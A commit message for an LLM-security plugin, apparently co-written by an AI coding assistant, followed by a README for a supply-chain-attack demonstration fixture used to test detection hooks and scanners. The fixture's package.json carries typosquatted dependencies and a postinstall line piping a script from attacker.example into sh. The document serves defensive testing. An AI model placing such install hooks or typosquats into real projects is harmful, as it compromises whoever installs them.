Closes Phase 3 (B11) of the v8.0.0 plan. Three parts, all with the failing
test written first.
riskScoreV1 removed. scanners/lib/severity.mjs drops riskScoreV1() and its
SEVERITY_WEIGHTS_V1 table - @deprecated since v7.0.0, kept for diff/comparison,
zero callers in code or tests (re-verified, not taken from the plan). The v1
weights are recorded in CHANGELOG so an old score stays re-derivable. riskScore
(v2) is untouched; a test pins that one critical still lands in the 70-95 tier
and that 50 lows score below it, which is exactly the case v1 collapsed to 100.
Posture category 12 no longer keys off an identifier name. The check was
/TRIFECTA_MODE/i over the session-guard source, which measured what a constant
was CALLED rather than whether enforcement was configurable. With the env-var
gone, that regex would have dropped every correctly-migrated project from PASS
to PARTIAL - the gate punishing the migration it exists to encourage. It now
matches getPolicyValue('trifecta', 'mode', ...) and still accepts a pre-v8
vendored guard reading the old env-var, because a third-party project carries
its own hook copy and is equally configurable either way; the evidence line
says which of the two was found. The PARTIAL finding recommended setting an
env-var that v8 ignores; it now names the policy key. The grade-a fixture hook
moves to the policy-era form.
Two never-implemented env-vars deleted from the docs. LLM_SECURITY_SCR_OFFLINE
(ci-cd-guide) and LLM_SECURITY_OFFLINE (supply-chain-attack example) were
documented as OSV.dev / npm-audit kill-switches. No code has ever read either -
verified by grep across scanners, hooks and scripts, which finds them only in
markdown. A promised kill-switch that does nothing is worse than a documented
absence: it is trusted precisely when the run is meant to be air-gapped. The
docs now say there is none and that egress must be blocked at the network
layer. The LLM_SECURITY_AUDIT_* wildcard is narrowed to the one real key.
Docs. Migration section in README + CHANGELOG with the env-var -> policy-key
table, the detection commands (env + shell rc + .envrc + workflows), and the
explicit warning that a removed variable is now INERT rather than an error -
which is the failure mode that loses a project its configuration silently. The
hardening-guide env table splits into surviving vars and a removed-vars
migration table; its "promote to block" runbook named two variables that no
longer exist. Also swept: CLAUDE.md hook table, scanner-reference, ci-cd-guide,
both lethal-trifecta example docs, mitigation-matrix, injection-research.
Test counts in README/CLAUDE.md synced 2034 -> 2045.
Suite 2045 tests, 0 fail (2039 + 4 posture-trifecta + 2 riskScoreV1). The two
known parallel-load flakes did not recur this run.
Co-Authored-By: Claude Opus 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01BB4vXvwvtW4dxbPRd6vsez
5.8 KiB
Supply Chain Attack Walkthrough
WARNING: This is a demonstration fixture, NOT a real attack. The fixture
package.jsonis never installed and the postinstall URL points to an example domain. The walkthrough only feeds JSON payloads to one PreToolUse hook and parses the static fixture with the offlinedep-auditorscanner.
What this demonstrates
Two layers of supply-chain defense, both catching the same attack shape from different angles:
| Layer | When | Mechanism |
|---|---|---|
pre-install-supply-chain |
runtime, PreToolUse on Bash |
Intercepts npm install <name> and blocks compromised versions; advises on scope-hopping |
dep-auditor (DEP scanner) |
scan time, offline | Parses package.json for typosquats vs top-100 npm + suspicious lifecycle scripts |
A real attacker has to bypass both — the runtime gate when the
operator runs npm install, and the offline scanner when CI / a
manual /security scan reads the lockfile or manifest.
Stage A — runtime hook
| Command | Expected | Detection |
|---|---|---|
npm install event-stream@3.3.6 |
exit 2 (BLOCK) | event-stream@3.3.6 is on the NPM_COMPROMISED list (real 2018 incident) |
npm install @evilcorp/lodash |
exit 0 + advisory | scope-hop: unscoped lodash is top-100; @evilcorp not on the official-scopes allowlist |
npm install lodash |
exit 0 (clean) | top-100 official package, no advisory |
Stage B — dep-auditor on fixture/package.json
The fixture declares 5 typosquatted dependencies and a postinstall
script that pipes a remote shell script (curl ... | sh):
"dependencies": {
"expresss": "^4.18.0", // typo of "express" — Levenshtein 1
"loadsh": "^4.17.21", // typo of "lodash" — Levenshtein 2
"axois": "^1.6.0", // typo of "axios" — Levenshtein 2
"reaact": "^18.2.0" // typo of "react" — Levenshtein 1
},
"devDependencies": {
"chalkk": "^5.3.0" // typo of "chalk" — Levenshtein 1
},
"scripts": {
"postinstall": "curl -sSL https://attacker.example/payload.sh | sh"
}
Expected dep-auditor findings:
- 5 typosquat findings (
expresss,loadsh,axois,reaact,chalkk), with severity ≥ MEDIUM - 1 install-script finding (HIGH — postinstall contains
curl ... | sh) - Total ≥ 6 findings, all DEP-prefixed
How to run
cd plugins/llm-security
node examples/supply-chain-attack/run-supply-chain.mjs
# Detailed: show stderr + full finding list
node examples/supply-chain-attack/run-supply-chain.mjs --verbose
Expected: 5 pass, 0 fail.
Hooks / scanners involved
hooks/scripts/pre-install-supply-chain.mjs— PreToolUse onBash. Readstool_input.command, normalizes bash evasion, gates on install patterns across 7 ecosystems. For npm: checksNPM_COMPROMISED, scope-hopping (NPM_OFFICIAL_SCOPES), OSV.dev advisories, provenance heuristic, install-script age gate.scanners/dep-auditor.mjs— DEP scanner. Readspackage.json,requirements.txt,setup.py,pyproject.toml,Pipfile.lock. For npm: typosquat (Levenshtein ≤2 vs top-100), unpinned versions, install-script heuristics, npm-audit CVE.scanners/lib/supply-chain-data.mjs— shared blocklists (NPM_COMPROMISED,PIP_COMPROMISED,CARGO_COMPROMISED, etc.) andNPM_OFFICIAL_SCOPESallowlist.
Network behavior
- Hook stage A: the hook normally calls
npm viewand OSV.dev to enrich findings. For the compromised case it stops at theNPM_COMPROMISEDblocklist (no network needed). For the scope-hopping case the advisory is emitted before any network call. For the clean case it may attemptnpm view— that runs against the public registry but is non-fatal if offline. - Stage B (dep-auditor): runs offline by default. It may shell
out to
npm audit --json --offline=falsefor CVE enrichment, but the fixture has no real npm install, so audit returns nothing.
There is no environment kill-switch for these calls. If you need a fully air-gapped run, block network egress for the process.
OWASP / framework mapping
| Code | Framework | Why |
|---|---|---|
| LLM03 | OWASP LLM Top 10 (2025) | Supply chain compromise — typosquats + malicious install scripts |
| LLM05 | OWASP LLM Top 10 (2025) | Improper output / supply-chain-affected dependency surface |
| ASI04 | OWASP Agentic Top 10 | Untrusted dependency influence on agent behavior |
Related real-world incidents (for context, not part of the demo)
event-stream@3.3.6(2018) — backdoor injecting bitcoin-stealing codecolors@1.4.1/faker@6.6.6(2022) — author-protest sabotageua-parser-js@0.7.29/coa@2.0.3/rc@1.2.9(2021) — credential stealers via hijacked maintainer accountsnode-ipc@10.1.1(2022) — geographically-targeted file-wiping ("peacenotwar")axios@1.14.1(2025) — npm-direct publish bypassing CI
All of these are on the NPM_COMPROMISED list and would be blocked
by stage A.
Limitations
- The walkthrough focuses on npm. Other ecosystems (
pip,cargo,gem,brew,go,docker) follow the same hook pattern but are not exercised here. Seetests/lib/pre-install-supply-chain.test.mjsfor per-ecosystem coverage. - The OSV.dev advisory check (real CVE lookup) is a network feature and is not exercised in the deterministic test cases.
- This example does not exercise
pre-install-supply-chain's bash evasion normalization (T1-T6). For that, seeexamples/bash-evasion-gallery/.
See also
knowledge/top-packages.json— typosquat seed list (top-100 npm)scanners/lib/supply-chain-data.mjs—NPM_COMPROMISEDblocklisttests/lib/dep-auditor.test.mjs— unit-test contractexamples/bash-evasion-gallery/— bash-normalization layer (T1-T6)expected-findings.md(in this folder) — the testable contract